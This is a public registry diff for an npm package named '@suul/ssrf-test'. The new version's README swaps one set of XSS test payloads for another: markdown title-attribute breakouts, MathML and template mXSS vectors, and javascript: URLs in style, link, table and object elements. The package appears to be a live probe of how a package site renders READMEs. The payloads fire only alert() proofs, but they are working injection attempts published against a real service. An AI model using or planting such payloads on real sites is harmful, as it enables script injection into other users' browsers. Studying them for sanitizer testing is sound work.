@suul/ssrf-test 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +24 -18
  2. package/package.json +2 -2
package/README.md CHANGED
@@ -1,27 +1,33 @@
1
- # XSS Tests via Markdown Syntax
1
+ # Advanced XSS Tests
2
2
 
3
- ## Test 1: Standard markdown link with javascript:
4
- [XSS Click Me](javascript:alert(document.domain))
3
+ ## T1: title breakout with single-quote inside double-quote
4
+ [t1](https://x.com "x' onmouseover='alert(1)")
5
5
 
6
- ## Test 2: Reference-style markdown link
7
- [XSS Ref][xss]
6
+ ## T2: title breakout swap quote styles
7
+ [t2](https://x.com 'x" onmouseover="alert(1)')
8
8
 
9
- [xss]: javascript:alert(document.domain)
9
+ ## T3: math element
10
+ <math><mi onmouseover="alert(1)">x</mi></math>
10
11
 
11
- ## Test 3: Autolink
12
- <javascript:alert(1)>
12
+ ## T4: math with annotation-xml
13
+ <math><annotation-xml encoding="text/html"><img onload=alert(1)></annotation-xml></math>
13
14
 
14
- ## Test 4: image with javascript
15
- ![alt](javascript:alert(1))
15
+ ## T5: template element
16
+ <template><script>alert(1)</script></template>
16
17
 
17
- ## Test 5: Markdown link with data:
18
- [data xss](data:text/html,<script>alert(1)</script>)
18
+ ## T6: style element (CSS injection)
19
+ <style>a{color:red}*{background:url(javascript:alert(1))}</style>
19
20
 
20
- ## Test 6: URL encoding in markdown link
21
- [enc](javascript&#58;alert(1))
21
+ ## T7: link rel import
22
+ <link rel="stylesheet" href="javascript:alert(1)">
22
23
 
23
- ## Test 7: Markdown link with \\n injection
24
- [text](https://x.com "onmouseover=alert(1) x=")
24
+ ## T8: Nested HTML in markdown - does the renderer re-parse?
25
+ <p id="x">
26
+ ## heading inside html block
27
+ </p>
25
28
 
26
- ## Test 8: title attr injection via markdown
27
- [text](https://npmjs.com " onmouseover=alert(document.domain) ")
29
+ ## T9: mXSS via table nesting
30
+ <table><tr><td><a href="javascript:alert(1)">xss</a></td></tr></table>
31
+
32
+ ## T10: object/embed
33
+ <object data="javascript:alert(1)">fallback</object>
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@suul/ssrf-test",
3
- "version": "1.0.5",
4
- "description": "Markdown XSS tests",
3
+ "version": "1.0.6",
4
+ "description": "Advanced XSS tests",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
7
7
  "publishConfig": {"access": "public"}